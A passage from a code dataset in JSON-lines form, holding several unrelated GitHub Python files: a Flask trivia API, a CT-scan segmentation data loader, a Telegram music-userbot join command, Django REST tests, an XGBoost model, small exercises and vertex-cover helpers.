QUESTIONS_PER_PAGE\n end = start + QUESTIONS_PER_PAGE\n\n questions = [question.format() for question in selection]\n current_question = questions[start:end]\n return current_question\n\ndef create_app(test_config=None):\n # create and configure the app\n app = Flask(__name__)\n setup_db(app)\n\n\n cors = CORS(app, resources={r\"/api/*\": {\"origins\": \"*\"}})\n\n\n @app.after_request\n def after_request(response):\n response.headers.add(\n \"Access-Control-Allow-Headers\", \"Content-Type, Authorization, true\"\n )\n response.headers.add(\n \"Access-Control-Allow-Methods\", \"GET, PUT, PATCH, POST, DELETE, OPTIONS\")\n\n return response\n\n\n @app.route(\"/categories\")\n def retrieve_categories():\n categories = Category.query.order_by(Category.id).all()\n disc_categories = {category.id: category.type for category in categories}\n if len(categories) == 0:\n abort(404)\n return jsonify(\n {\n \"succes\": True,\n \"total_categories\": len(categories),\n \"categories\": disc_categories,\n \"current_category\": None\n }\n )\n\n\n @app.route(\"/questions\")\n def retrieve_questions():\n selection = Question.query.order_by(Question.id).all()\n current_questions = paginate_questions(request, selection)\n\n #Categories\n categories = Category.query.order_by(Category.id).all()\n disc_categories = {category.id: category.type for category in categories}\n\n\n if len(current_questions) == 0:\n abort(404)\n return jsonify(\n {\n \"success\": True,\n \"questions\": current_questions,\n \"total_questions\": len(Question.query.all()),\n \"categories\": disc_categories,\n \"current_category\":None\n\n }\n )\n\n\n\n @app.route(\"/questions/\", methods=[\"DELETE\"])\n def delete_book(question_id):\n error = True\n try:\n question = Question.query.get(question_id)\n db.session.delete(question)\n db.session.commit()\n\n except Exception as e:\n print(e)\n error = False\n db.session.rollback()\n abort(405)\n finally:\n db.session.close()\n\n return jsonify(\n {\"success\": error,\n \"deleted\": int(question_id),\n \"total_questions\": len(Question.query.all())}\n )\n\n\n @app.route(\"/questions\", methods=[\"POST\"])\n # @cross_origin()\n def create_question():\n body = request.get_json()\n\n new_questions = body.get('question', None)\n new_answer = body.get('answer', None)\n new_category = body.get('category', None)\n new_difficulty = body.get('difficulty', None)\n\n try:\n question = Question(question=new_questions, answer=new_answer, category=new_category, difficulty=new_difficulty)\n question.insert()\n\n\n return jsonify({\n 'success': True,\n 'created': question.id,\n 'total_questions': len(Question.query.all())\n })\n except Exception as e:\n print(e)\n abort(405)\n\n\n\n @app.route(\"/questions/search\", methods=[\"POST\"])\n # @cross_origin()\n def search_question():\n body = request.get_json()\n search = body.get('searchTerm', None)\n selection = Question.query.order_by(Question.id).filter(Question.question.ilike('%{}%'.format(search)))\n current_questions = paginate_questions(request, selection)\n\n return jsonify({\n 'success': True,\n 'questions': current_questions,\n 'total_questions': len(selection.all()),\n 'current_category': None\n })\n\n\n\n @app.route(\"/categories//questions\")\n def retrieve_question_based_on_category(id):\n category = Category.query.filter_by(id=id).first_or_404()\n selection = Question.query.filter_by(category = id)\n current_questions = paginate_questions(request, selection)\n\n\n if len(current_questions) == 0:\n abort(404)\n return jsonify(\n {\n \"success\": True,\n \"questions\": current_questions,\n \"total_questions\": len(Question.query.all()),\n \"current_category\": category.type\n\n }\n )\n\n\n\n @app.route(\"/quizzes\", methods=[\"POST\"])\n # @cross_origin()\n def quizz():\n try:\n body = request.get_json()\n previous_question = body.get('previous_questions', None)\n quiz_category = body.get('quiz_category', None)\n if previous_question:\n resultado = Question.query.filter(Question.category==quiz_category['id'], Question.id != previous_question[0]).all()\n result = random.choice(resultado).format()\n else:\n result = Question.query.order_by(func.random()).filter_by(category=quiz_category['id']).first_or_404().format()\n return jsonify(\n {\n \"success\": True,\n \"question\": result\n\n }\n )\n except Exception as e:\n print(e)\n abort(404)\n\n\n @app.errorhandler(404)\n def not_found(error):\n return jsonify({\n \"success\": False,\n \"error\": 404,\n \"message\": \"Not found\"\n }) , 404\n\n @app.errorhandler(422)\n def not_found(error):\n return jsonify({\n \"success\": False,\n \"error\": 422,\n \"message\": \"Unprocessable Entity\"\n }), 422\n\n @app.errorhandler(405)\n def not_found(error):\n return jsonify({\n \"success\": False,\n \"error\": 405,\n \"message\": \"Method not allowed\"\n }), 405\n\n return app\n\n ","repo_name":"GuillermoFabian/flask_api","sub_path":"backend/flaskr/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20982975964","text":"import os, time\nimport numpy as np\nfrom sklearn.cross_validation import train_test_split\nimport keras\nimport cv2 as cv\n\nfrom utils import cvtSecond2HMS, threshold, mkdirInCache, to_category, norm_images, remove_bg\nfrom viewer import viewSequence\n\n\nclass DataSetVolumn(object):\n def __init__(self, dtype='float32',\n data_dir='/home/philips/.keras/datasets/LiTS/liver', image_size=(512, 512)):\n self.image_size = image_size\n self.dtype = dtype\n\n self.data_dir = data_dir\n self._get_image_file()\n\n self.__split_datasets()\n\n print('-' * 30)\n print('counting total slices of all volumn...')\n print('-' * 30)\n self.nums_slice = self.__get_numslices()\n\n def _get_image_file(self):\n self.images_file = [image_file for image_file in os.listdir(self.data_dir) if\n 'volumn' in image_file]\n self.masks_file = [image_file for image_file in os.listdir(self.data_dir) if\n 'segmentation' in image_file]\n self.images_file.sort()\n self.masks_file.sort()\n\n def __split_datasets(self):\n self.images_file_train, self.images_file_test, self.masks_file_train, self.masks_file_test = \\\n train_test_split(self.images_file, self.masks_file, test_size=.1, random_state=1)\n # train1, test1, train2, test2 = \\\n # train_test_split(self.images_file, self.masks_file, test_size=.1, random_state=1)\n # assert self.images_file_train == train1\n # assert self.images_file_test == test1\n # assert self.masks_file_train == train2\n # assert self.masks_file_test == test2\n\n def __get_numslices(self):\n ts = time.clock()\n\n category = self.data_dir.split('/')[-1]\n info_file = 'cache/{0}/datasets/info.npy'.format(category)\n mkdirInCache(info_file)\n\n if os.path.isfile(info_file):\n self.images_file_train, nums_slice, self.images_file_test = np.load(info_file)\n else:\n nums_slice = np.zeros(len(self.images_file_train), dtype='int')\n for i, image_file in enumerate(self.images_file_train):\n image_path = os.path.join(self.data_dir, image_file)\n images = self._load_image(image_path)\n nums_slice[i] = len(images)\n np.save(info_file, (self.images_file_train, nums_slice, self.images_file_test))\n # print(nums_slice)\n # print(np.sum(nums_slice))\n\n # home\n # nums_slice = [41,96,276,44,177,168,183,167,186,133,189,90,226,64,181,89,241,59,37,276,110,123,119,111,250, \\\n # 77,191,194,104,215,98,170,75,277,186,76,229,99,219,173,69,239,36,260,280,112,299,258,59,73, \\\n # 189,29,176,116,189,233,214,179,89,92,205,118,232,56,67,170,113,169,189,132,192,139,114,194, \\\n # 113,59,232,179,83,113,64,266,58,292,193,46,116,175,98,122,234,187,251,85,79,115,61,120,113, \\\n # 118,215,50,37,263,56,259,215,241,248,91,149,201,79,29,198,227,112]\n # nums_slice = [41, 96, 276, 44, 177, 168, 183, 167, 186, 133, 189, 90]\n\n # office\n # nums_slice = [112, 36, 292, 132, 36, 241, 194, 59, 110, 56, 241, 194]\n # nums_slice = [112, 36]\n\n case_num = len(nums_slice)\n self.images_file_train, self.images_file_test, self.masks_file_train, self.masks_file_test = \\\n self.images_file_train[:case_num], self.images_file_test[:case_num], self.masks_file_train[\n :case_num], self.masks_file_test[\n :case_num]\n print(\"run time of importing {0} data is {1}\".format(np.sum(nums_slice), cvtSecond2HMS(time.clock() - ts)))\n return nums_slice\n\n def preprocess(self, images, masks):\n images = threshold(images, -100, 400)\n # images = norm_images(images)\n masks[masks > 0] = 1\n return images, masks\n\n#-------------------load all data in memory---------------\n def load_traindata(self):\n num = len(self.nums_slice)\n total = np.sum(self.nums_slice[:num])\n self.images = np.zeros((total, self.image_size[0], self.image_size[1], 1), dtype=self.dtype)\n self.masks = np.zeros((total, self.image_size[0], self.image_size[1], 1), dtype=self.dtype)\n\n print('-' * 30)\n print('Loading images and mask...')\n print('-' * 30)\n index = 0\n for i, image_file in enumerate(self.images_file_train):\n if i >= num: break\n print('loading case {0} which is {1}'.format(i, image_file))\n image, mask = self.__read_case(\n self.images_file_train[i], self.masks_file_train[i])\n self.images[index:index + image.shape[0]] = image\n self.masks[index:index + image.shape[0]] = mask\n index = index + image.shape[0]\n print('Done: {0} - {1} images'.format(i + 1, self.images.shape[0]))\n\n # self.images, self.masks = remove_bg(self.images, self.masks)\n\n return self.images, self.masks\n\n def load_traindata_nchannel(self, channel=5):\n total = np.sum(self.nums_slice)\n\n print('-' * 30)\n print('Loading images and mask...')\n print('-' * 30)\n self.images, self.masks = self.__read_multi_cases(self.images_file_train, self.masks_file_train, total, channel)\n\n self.assert_channel()\n\n return self.images, self.masks\n\n def assert_channel(self):\n assert np.sum(self.images[2, :, :, 0]) == np.sum(self.images[0, :, :, 2]), 'no impossible'\n assert np.sum(self.images[2, :, :, 1]) == np.sum(self.images[1, :, :, 2]), 'no impossible'\n\n assert np.sum(self.images[2, :, :, 2]) == np.sum(self.images[0, :, :, 4]), 'no impossible'\n assert np.sum(self.images[2, :, :, 2]) == np.sum(self.images[1, :, :, 3]), 'no impossible'\n assert np.sum(self.images[2, :, :, 2]) == np.sum(self.images[3, :, :, 1]), 'no impossible'\n assert np.sum(self.images[2, :, :, 2]) == np.sum(self.images[4, :, :, 0]), 'no impossible'\n\n assert np.sum(self.images[2, :, :, 3]) == np.sum(self.images[3, :, :, 2]), 'no impossible'\n assert np.sum(self.images[2, :, :, 4]) == np.sum(self.images[4, :, :, 2]), 'no impossible'\n\n def __read_multi_cases(self, images_file, masks_file, total_slices, channel):\n images = np.zeros((total_slices, self.image_size[0], self.image_size[1], channel), dtype=self.dtype)\n masks = np.zeros((total_slices, self.image_size[0], self.image_size[1], 1), dtype=self.dtype)\n\n index = 0\n cr = channel / 2\n for i, image_file in enumerate(images_file):\n print('loading case {0} which is {1}'.format(i, image_file))\n images_onecase, masks_onecase = self.__read_case(images_file[i], masks_file[i])\n num = len(images_onecase)\n for j in range(num):\n for k in range(-cr, cr + 1):\n if 0 < j + k and j + k < num:\n images[index + j, :, :, k + cr] = images_onecase[j + k, :, :, 0] if len(images_onecase.shape)==4 else images_onecase[j + k, :, :]\n # if len(masks_onecase.shape) == 4:\n masks[index:index + len(images_onecase), :, :, :] = masks_onecase\n # else:\n # masks[index:index + len(images_onecase), :, :, 0] = masks_onecase\n index = index + len(images_onecase)\n return images, masks\n\n def __read_case(self, image_file, mask_file):\n image_path = os.path.join(self.data_dir, image_file)\n mask_path = os.path.join(self.data_dir, mask_file)\n images = self._load_image(image_path)\n masks = self._load_image(mask_path)\n if self.image_size is not (512, 512):\n images = self.__resize(images)\n masks = to_category(self.__resize(masks))\n images, masks = self.preprocess(images, masks)\n return images, masks\n\n def __resize(self, images):\n images_new = np.zeros((images.shape[0], self.image_size[0], self.image_size[1], 1), dtype=images.dtype)\n for i, image in enumerate(images):\n images_new[i, :, :, 0] = cv.resize(image[:, :, 0], self.image_size)\n return images_new\n\n def load_testdata(self):\n # self.images_file_test, self.masks_file_test = self.images_file_test[:2], self.masks_file_test[:2]\n\n test_data = {}\n print('-' * 30)\n print('Loading and preprocessing validation cases...')\n print('-' * 30)\n for image_file, mask_file in zip(self.images_file_test, self.masks_file_test):\n print('loading case {0}'.format(image_file))\n images_onecase, masks_onecase = self.__read_case(image_file, mask_file)\n test_data[image_file] = (images_onecase, masks_onecase)\n return test_data\n\n def validation_data(self):\n images_onecase, masks_onecase = self.__read_case(self.images_file_test[0], self.masks_file_test[0])\n return images_onecase, masks_onecase\n # test_data = self.load_testdata()\n # count = 0\n # for image_file, (image, mask) in test_data.iteritems():\n # count = count + image.shape[0]\n # images = np.zeros((count, image.shape[1], image.shape[2], image.shape[3]), dtype=np.float32)\n # masks = np.zeros_like(images)\n # i = 0\n # for image_file, (image, mask) in test_data.iteritems():\n # images[i:i+image.shape[0]] = image\n # masks[i:i+mask.shape[0]] = mask\n # i = i + image.shape[0]\n # return images, masks\n\n#-------------------load batch by batch with all memory---------\n def flow_all_memory(self, index, file_dict, channel=5):\n index = index % len(file_dict)\n file_list = list(file_dict)\n batch_file = file_dict[file_list[index]]\n images_file = batch_file[0]\n masks_file = batch_file[1]\n dataset_size = batch_file[2]\n images, masks = self.__read_multi_cases(images_file, masks_file, dataset_size, channel)\n\n return images, masks\n\n def flow_all_memory_num(self, ratio=0.7, channel=5):\n free_memory = 12 * ratio # xx G\n dataset_size = int(free_memory * 1024 / channel) #one slice requires 512*512*channel*4byte = channel M\n # dataset_size = 1000\n print('idea dataset_size is {0} slices'.format(dataset_size))\n\n # group volumns, the size of which is no more than dataset_size\n nums_slice_cum = np.cumsum(self.nums_slice)\n nums_slice = np.array(self.nums_slice)\n file_split = [0]\n for i in range(len(nums_slice_cum)):\n index = np.searchsorted(nums_slice_cum, dataset_size)\n file_split.append(index)\n nums_slice[:index] = 0\n nums_slice_cum = np.cumsum(nums_slice)\n if index == len(nums_slice_cum):\n break\n\n file_dict = {}\n for i in range(len(file_split)-1):\n s, e = file_split[i], file_split[i+1]\n file_dict[(s, e)] = self.images_file_train[s:e], self.masks_file_train[s:e], np.sum(self.nums_slice[s:e])\n return dataset_size, file_dict\n\n def load_testdata_channel(self, channel=5):\n test_data = {}\n print('-' * 30)\n print('Loading and preprocessing validation cases...')\n print('-' * 30)\n for image_file, mask_file in zip(self.images_file_test, self.masks_file_test):\n print('loading case {0}'.format(image_file))\n image, mask = self.__read_case(image_file, mask_file)\n images, masks = self.__read_multi_cases([image_file], [mask_file], image.shape[0], channel)\n test_data[image_file] = (images, masks)\n return test_data\n\n def validation_data_channel(self, channel=5):\n image, mask = self.__read_case(self.images_file_test[0], self.masks_file_test[0])\n images, masks = self.__read_multi_cases([self.images_file_test[0]], [self.masks_file_test[0]], image.shape[0], channel)\n return images, masks\n\n def _load_image(self, image_path):\n return np.load(image_path)\n\nclass TumorVolumn(DataSetVolumn):\n def __init__(self, dtype='float32',\n data_dir='/home/philips/.keras/datasets/LiTS/tumor', image_size=(512, 512)):\n super(TumorVolumn, self).__init__(dtype, data_dir, image_size)\n\n def preprocess(self, images, masks):\n # images = threshold(images, np.min(images), np.max(images))\n images = threshold(images, -100, 400)\n # images = norm_images(images)\n # images = equalizeHist(images)\n # images = threshold(images, np.min(images), np.max(images))\n # print((np.min(masks), np.max(masks)))\n masks[masks < 2] = 0\n masks /= 2\n # print((np.min(masks), np.max(masks)))\n # assert np.sum(masks[masks>0]) == np.sum(masks>0)\n return images, masks\n\n def get_data(self, imagefile):\n index = imagefile.split('-')[1]\n index = index.split('.')[0]\n\n boxs = np.load(os.path.join(self.data_dir, 'box-{0}.npy'.format(index)))\n images = np.load(os.path.join(self.data_dir, 'volumn-{0}.npy'.format(index)))\n masks = np.load(os.path.join(self.data_dir, 'segmentation-{0}.npy'.format(index)))\n return boxs, images, masks\n\n\n\n\nclass VolumnViewer(DataSetVolumn):\n def preprocess(self, images, masks):\n images = threshold(images, np.min(images), np.max(images))\n return images, masks\n\n\n\nfrom viewer import show_image_mask\n\nif __name__ == '__main__':\n # test_data = DataSetVolumn().load_testdata()\n # for image_file, data in test_data.iteritems():\n # print('{0} has {1} slices and {2} masks'.format(image_file, data[0].shape, data[1].shape))\n\n images_onecase, masks_onecase = DataSetVolumn().validation_data()\n # images_onecase, masks_onecase = TumorVolumn().validation_data()\n # images_onecase, masks_onecase = remove_bg(images_onecase, masks_onecase)\n\n # show_image_mask(images_onecase, masks_onecase)\n viewSequence(images_onecase)\n viewSequence(masks_onecase)\n exit()\n\n # out of memory\n # images, masks = DataSetVolumn().load_traindata_nchannel(channel=5)\n # print('Loading Dataset {0}'.format(images.shape))\n\n # data = DataSetVolumn()\n data = TumorVolumn()\n # channel = 5\n # batch_size, file_dict = data.flow_all_memory_num(0.7, channel)\n # total_slice = 0\n # for i in range(len(file_dict)):\n # images, masks = data.flow_all_memory(i, file_dict, channel)\n # total_slice = total_slice + images.shape[0]\n # print('Loading Dataset {0} with {1}'.format(i+1, images.shape))\n # print('Load {0} slices, = {1}'.format(total_slice, np.sum(data.nums_slice)))\n\n # image, mask = data.validation_data_channel()\n # print(image.shape)\n test_data = data.load_testdata()\n\n\n\n\n\n\n","repo_name":"qizhonglin/imgseg","sub_path":"DataSetVolumn.py","file_name":"DataSetVolumn.py","file_ext":"py","file_size_in_byte":14947,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"22731973530","text":"[temp,unit] = input(\"Enter the temperature: \").split()\ntargetUnit = input(\"Enter the unit to be converted: \")\n\ntemp = float(temp)\n\nif unit == \"C\":\n c = temp\nelif unit == \"F\":\n c = (temp - 32) * 5/9\nelif unit == \"K\":\n c = temp - 273.15\nelif unit == \"R\":\n c = 5/4 * temp\n\nif targetUnit == \"C\":\n print(f\"{(c):.2f} C\")\nelif targetUnit == \"F\":\n print(f\"{(c * 9/5 + 32):.2f} F\")\nelif targetUnit == \"K\":\n print(f\"{(c + 273.15):.2f} K\")\nelif targetUnit == \"R\":\n print(f\"{(c * 4/5):.2f} R\")","repo_name":"KanonKC/Python-Problem","sub_path":"Chapter 12 - Challenging Problem/01-temperature.py","file_name":"01-temperature.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28839180236","text":"from callsmusic.callsmusic import client as USER\nfrom pyrogram import Client, filters\nfrom pyrogram.types import Message, InlineKeyboardButton, InlineKeyboardMarkup\nfrom pyrogram.errors import UserAlreadyParticipant\nfrom helpers.decorators import errors, authorized_users_only\n\n@Client.on_message(filters.group & filters.command([\"userbotjoin\"]))\n@authorized_users_only\n@errors\nasync def addchannel(client, message):\n chid = message.chat.id\n try:\n invitelink = await client.export_chat_invite_link(chid)\n except:\n await message.reply_text(\n \"Give rights to your Group and try again\",\n )\n return\n\n try:\n user = await USER.get_me()\n except:\n user.first_name = \"DeCoDeMusic\"\n\n try:\n await USER.join_chat(invitelink)\n await USER.send_message(message.chat.id,\"I joined here at your command\")\n except UserAlreadyParticipant:\n await message.reply_text(\n \"Userbot Already In Your Chat\",\n ) \n pass\n except Exception as e:\n print(e)\n await message.reply_text(\n f\"🛑Error waiting for flood decay 🛑 \\n Participant {user.first_name} could not join your group due to a large number of requests to join the user bot! Check the blacklist, unban the bot user if it is there. \"\n \"\\ n \\ nOr manually add Assistant to your Group and try again \",\n )\n return\n await message.reply_text(\n \"an assistant has joined your chat\",\n )\n \n","repo_name":"looserakki/musicOp","sub_path":"handlers/Userbotjoin.py","file_name":"Userbotjoin.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19949383813","text":"def lovesymbol():\r\n\tfor i in range(6):\r\n\t\tfor j in range(7):\r\n\t\t\tif (i==0 and j%3!=0) or (i==1 and j%3==0) or i-j==2 or i+j==8:\r\n\t\t\t\tprint(\"*\",end='')\r\n\t\t\telse:\r\n\t\t\t\tprint(\" \",end='')\r\n\t\tprint()\r\n\r\n\r\nimport math\r\ndef quadraticequation(a,b,c):\r\n\tx1=(-b+math.sqrt(b*b-(4*a*c)))/(2*a)\r\n\tx2=(-b-math.sqrt(b*b-(4*a*c)))/(2*a)\r\n\treturn x1,x2\r\n\r\ndef qe():\r\n\tprint(\"The Notation is ax^2+bx+c=0\")\r\n\ta=int(input('Enter a value:'))\r\n\tb=int(input('Enter b value:'))\r\n\tc=int(input('Enter c value:'))\r\n\tprint('Your expressin is {}x^2+{}x+{}=0'.format(a,b,c))\r\n\tif a!=0 and b**2-4*a*c>=0:\r\n\t\tprint('Roots are:{}'.format(quadraticequation(a,b,c)))\r\n\telse:\r\n\t\tprint(\"Unable to calculate\")\r\n\t\t\r\n\t\t\r\ndef listoperations(li):\r\n\ts=0\r\n\tl=0\r\n\tmi=li[0]\r\n\tma=li[0]\r\n\tfor i in li:\r\n\t\tl+=1\r\n\t\ts+=i\r\n\t\tif ima: ma=i\r\n\treturn l,s,mi,ma\r\n\t\r\n#####################################################################################\r\n\r\nprint(\"*\"*10,'Love Symbol','*'*10)\r\nlovesymbol()\r\n\r\nprint(\"*\"*10,'Quadratic Equation','*'*10)\r\n\r\nqe()\r\nprint(\"*\"*10,'List Operation','*'*10)\r\nl=list(map(int,input('Enter a list separated by space:').strip().split(' ')))\r\nv=listoperations(l)\r\nprint(f'''The list is {l}\r\nThe length of {l} is {v[0]}\r\nThe sum of elements in {l} is {v[1]}\r\nThe minimum element in {l} is {v[2]}\r\nThe maximum element in {l} is {v[3]}''')\r\n\r\n\r\n\r\nl1=list(map(int,input('Enter a list1 separated by space:').strip().split(' ')))\r\nl2=list(map(int,input('Enter a list2 separated by space:').strip().split(' ')))\r\nl=l1[:-1]+l2\r\nprint(\"\"\"The list 1 is {}\r\nThe list 2 is {}\r\nThe list concat is {}\"\"\".format(l1,l2,l))\r\n\r\nk=[x for x in range(10)]\r\nprint(k)\r\nk=['{}{}'.format(x,y) for x in range(3) for y in range(3,6)]\r\nprint(k)\r\n\r\nwhile True:\r\n\tx=input(\"Enter Your Name:\")\r\n\tif x[0]==\"#\":\r\n\t\tcontinue\r\n\telif x=='done': \r\n\t\tbreak\r\n\telse:\r\n\t\tprint(x)\r\n\r\ns='Maram Akhil Reddy'\r\nl=len(s)\r\nv='aeiou'\r\ng=[i for i in s if i in v]\r\nprint(g,'The percentage of v in s is %.2f'%(len(g)*100/l))\r\n\r\nprint(\"The string contains %s\"%(\"Hello\"))\r\n\r\n\r\ntry:\r\n\tx=10/0\r\nexcept ZeroDivisionError:\r\n\tprint(\"Divided By Zero Error\")\r\nfinally:\r\n\tprint(\"This is finally block\")","repo_name":"maramakhilreddy/Coding","sub_path":"Python/Lab/day2_10-12-2019.py","file_name":"day2_10-12-2019.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"580670969","text":"import os\nimport cvb\n\nprint(\"acquire images from CVMock.vin\")\n\ndevice = cvb.DeviceFactory.open(\"/opt/cvb/drivers/CVMock.vin\")\nstream = device.stream\n\nstream.start()\n\nfor i in range(5):\n image, status = stream.wait()\n if status == cvb.WaitStatus.Ok:\n image_file = os.path.join(\".\", \".cvb\", \"test\" + str(i) + \".jpg\")\n image.save(image_file)\n print(\"saving: \" + image_file)\n\nstream.abort()","repo_name":"Oversize204/cvbpy_show_cases","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14924563439","text":"from rest_framework.test import APITestCase\nfrom rest_framework.reverse import reverse\nfrom rest_framework import status\n\n\nfrom rest_framework_jwt.settings import api_settings\n\npayload_handler = api_settings.JWT_PAYLOAD_HANDLER\nencode_handler = api_settings.JWT_ENCODE_HANDLER\n\n\n\nfrom django.contrib.auth import get_user_model\n\n\nfrom .models import Post\nfrom django.contrib.contenttypes.models import ContentType\n\n\nfrom post.models import Post\nfrom userprofile.models import Profile\n\n\nUser = get_user_model()\n\n\nclass PostAPITestCase(APITestCase):\n\n\n\tdef setUp(self):\n\n\t\tuser_obj = User( email = 'zeus@gmail.com', full_name = 'john benjamin')\n\t\tuser_obj.set_password ('oldskool123')\n\t\tuser_obj.save()\n\n\t\tpost = Post.objects.create(\n\t\t\tuser \t= user_obj,\n\t\t\tcontent \t\t= 'hello world',\n\t\t\tmedia \t\t= None,\n\t\t\t)\n\n\t\tprofile = Profile.objects.create(\n\t\t\t\tuser \t\t\t= user_obj,\n\t\t\t\tusername\t\t= 'zeus',\n\t\t\t\tavatar\t\t\t= None,\n\t\t\t\tbio\t\t\t\t= 'The official page of Alihub',\n\t\t\t\tcategory \t\t= 'Telecomunication',\n\t\t\t\tcountry \t\t= 'Nigeria',\n\t\t\t\tphone \t\t\t= '0809740825',\n\t\t\t\twebsite \t\t= 'alihub.com',\n\n\t\t\t)\n\n\t\n\n\n\n\tdef test_single_user(self):\n\t\tuser_obj = User.objects.count()\n\t\tself.assertEqual(user_obj, 1)\n\n\n\tdef test_single_post(self):\n\t\tpost = Post.objects.count()\n\t\tself.assertEqual(post, 1)\n\n\n\tdef test_get_list(self):\n\t\t\n\t\tdata\t\t\t = {}\n\t\turl \t\t\t = reverse('post:post-list')\n\t\tresponse \t\t = self.client.get(url, data, format = 'json')\n\t\tself.assertEqual = (response.status_code, status.HTTP_200_OK)\n\n\n\tdef test_post_with_user(self):\n\t\tuser_obj = User.objects.first()\n\t\tpayload = payload_handler(user_obj)\n\t\ttoken_rsp = encode_handler(payload)\n\t\tprint(token_rsp)\n\t\tprint(user_obj)\n\n\t\tself.client.credentials(HTTP_AUTHORIZATION = 'JWT' + token_rsp)\n\n\t\n\t\t\n\t\tdata\t\t\t = {\n\n\t\t\t'content' \t\t:'My first comment',\n\t\t\t'media' \t\t:None,\n\t\t\t}\n\t\turl \t\t\t = reverse('post:post-list')\n\t\tprint(data)\n\t\tresponse \t\t = self.client.post(url, data, format = 'json')\n\t\tself.assertEqual = (response.status_code, status.HTTP_200_OK)\n\n\n\tdef test_put_post_with_user(self):\n\t\tuser_obj = User.objects.first()\n\t\tpayload = payload_handler(user_obj)\n\t\ttoken_rsp = encode_handler(payload)\n\t\tprint(token_rsp)\n\t\tprint(user_obj)\n\n\t\tself.client.credentials(HTTP_AUTHORIZATION = 'JWT' + token_rsp)\n\t\t\n\t\tdata\t\t\t = {\n\n\t\t\n\t\t\t'content' \t\t:'My last post',\n\t\t\t'image' \t\t:None,\n\t\t\t}\n\t\tprint(data)\n\t\turl \t\t\t = reverse('comment:comment-list')\n\t\tprint(url)\n\t\tresponse \t\t = self.client.post(url, data, format = 'json')\n\t\tself.assertEqual = (response.status_code, status.HTTP_200_OK)\n\n\n\tdef test_delete_post_with_user(self):\n\t\tuser_obj = User.objects.first()\n\t\tpayload = payload_handler(user_obj)\n\t\ttoken_rsp = encode_handler(payload)\n\t\t\n\t\t\n\n\t\tself.client.credentials(HTTP_AUTHORIZATION = 'JWT' + token_rsp)\n\t\t\n\t\tdata\t\t\t = {}\n\t\tprint( str(data) + 'the deleted data')\n\t\tpost \t\t\t= Post.objects.first()\n\t\turl \t\t\t= post.get_api_url()\n\n\t\n\t\tresponse \t\t = self.client.delete(url, data, format = 'json')\n\t\tself.assertEqual = (response.status_code, status.HTTP_200_OK)\n\n\n\n\t\t","repo_name":"udemezue01/Alihub.me","sub_path":"src/alihub/post/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22576238671","text":"import numpy as np\nimport pandas as pd\n\nimport xgboost as xgb\nfrom sklearn.preprocessing import MaxAbsScaler\nfrom sklearn.base import BaseEstimator, ClassifierMixin\n\nclass Model1(BaseEstimator, ClassifierMixin):\n\n\tdef __init__(self, disable=False):\n\t\tself.name = 'XGB Model'\n\t\tself.disable = disable\n\n\tdef transform(self, data):\n\t\tif not hasattr(self, 'scaler'):\n\t\t\tself.scaler = MaxAbsScaler().fit(data)\n\t\tdata = pd.DataFrame(self.scaler.transform(data))\t\t\t\n\n\t\tfeatures = [426, 398, 223, 0, 87, 305, 193, 408, 436, 18, 7, 146, 265, 306, 189, 36, 314, 92, 27]\n\t\t# features = [398, 223, 0, 87, 305, 193, 408, 146, 265, 306, 189, 36, 314, 27]\n\t\tdata = data[features] \n\t\treturn data\n\n\tdef fit(self, train, y_train):\n\t\tif self.disable:\n\t\t\tprint(self.name, 'disabled')\n\t\t\treturn\n\t\tprint('Training', self.name)\n\t\ttrain = self.transform(train.copy())\n\t\ty_train = y_train.copy()\n\t\ty_mean = np.mean(y_train)\n\n\t\txgb_params = {\n\t\t 'n_trees': 500, \n\t\t 'eta': 0.0025,\n\t\t 'max_depth': 4,\n\t\t 'subsample': 0.6,\n\t\t 'objective': 'reg:linear',\n\t\t 'eval_metric': 'rmse',\n\t\t 'base_score': y_mean, # base prediction = mean(target)\n\t\t 'silent': 1,\n\t\t # 'alpha': 0.001,\n\t\t # 'lambda': 2,\n\t\t 'gamma': 40\n\t\t # 'alpha': 0.1,\n\t\t # 'lambda': 2,\n\t\t # 'gamma': 50\n\t\t}\n\t\tdtrain = xgb.DMatrix(train, y_train)\n\n\t\tnum_boost_rounds = 1250\n\n\t\tself.model = xgb.train(dict(xgb_params, silent=1), dtrain, num_boost_round=num_boost_rounds)\n\t\tvals = self.model.get_score()\n\t\t# print(vals)\n\t\t# print(self.model.get_score())\n\t\t# for key in vals:\n\t\t\t# if vals[key] > 70:\n\t\t\t# print(key, vals[key])\n\n\tdef predict(self, test):\n\t\tif self.disable or not self.model:\n\t\t\treturn np.zeros((test.shape[0],))\n\t\ttest = self.transform(test.copy())\n\t\treturn self.model.predict(xgb.DMatrix(test))\n","repo_name":"yangalexandery/kaggle-mercedes-benz","sub_path":"model_1.py","file_name":"model_1.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"3619321781","text":"from utils import get_bit\n\ndef is_vertex_cover(graph, z):\n \"\"\"\n checks if z (an integer) represents a valid vertex cover for graph adjacency\n matrix graph, with n vertices\n \"\"\"\n for e in graph.es:\n if get_bit(z, e.source) == 0 and get_bit(z, e.target) == 0:\n return False\n return True\n\ndef vertex_cover_loss(z, graph, mask):\n \"\"\"\n the objective function to minimize: -(# of 0 in a bit string),\n corresponding to maximising the number of vertices NOT in the vertex cover\n \"\"\"\n if not mask[z]:\n return 0\n n = graph.vcount()\n s = 0\n for i in range(n):\n s += get_bit(z, i)\n return s - n\n\ndef get_vertex_cover_clauses(graph):\n '''\n C = \\sum -0.5*(Zi+1), mapping is 0->down, 1->up.\n '''\n raise 